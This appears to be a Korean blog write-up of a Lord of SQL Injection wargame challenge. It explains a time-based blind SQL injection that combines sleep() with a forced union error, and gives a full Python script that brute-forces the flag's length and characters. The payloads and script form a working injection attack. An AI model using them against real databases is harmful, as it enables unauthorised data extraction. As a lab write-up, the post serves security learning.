이 문제는 flag를 알아내면 되는 문제이다.

허나 실제 플래그와 입력한 플래그가 틀린다면 리셋을 해버린다.


$new_flag substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16);


ㅇㅇ;;


update문을 에러를 띄워서 찾아내면 대는거시다.

그렇다면 update문은 실제로 실행이 되지 않고 리셋이 되지 않는것이다.


하지만 맞는지 안맞는지를 어떻게 알아야할지가 문제였다.


방법은 sleep을 통해 리퀘스트 받은 시간으로 하면 대는거시여따.

sleep(0) 일 경우  select 1 union select 2를 이용하여 에러를 띄워주는 식인것이다.

맞으면 sleep(3)이 되어 실행이 대는거시다



import requests

import time


url = "https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}



'''

?flag=sleep(2*(length(flag)=1)) | (select 1 union select 2) -- -

'''

length = 16

strs = ""


for i in range(1, 50):

    start = time.time()

    rs = requests.get(url + "?flag=sleep(2*(length(flag)=" + str(i) + "))%20||%20(select%201%20union%20select%202)%20--%20-", headers=headers, cookies=cookies)


    if((time.time()-start) > 2):

        print("find it length = " + str(i))

        length = i

        break


for i in range(1, length+1):

    print(str(i) + " start !")

    for c in range(48, 127):

        start = time.time()

        rs = requests.post(url + "?flag=sleep(2*(flag%20like%20%27" + strs + chr(c) + "%%27))%20||%20(select%201%20union%20select%202)%20--%20-", headers=headers, cookies=cookies)


        if((time.time()-start) >2):

            print(str(i) + " find it " + str(c) + " " + chr(c))

            strs += chr(c)

            break



print(strs)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] admin panel  (0) 2018.10.18
[picoCTF] A Simple Question  (31) 2018.10.18
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22

+ Recent posts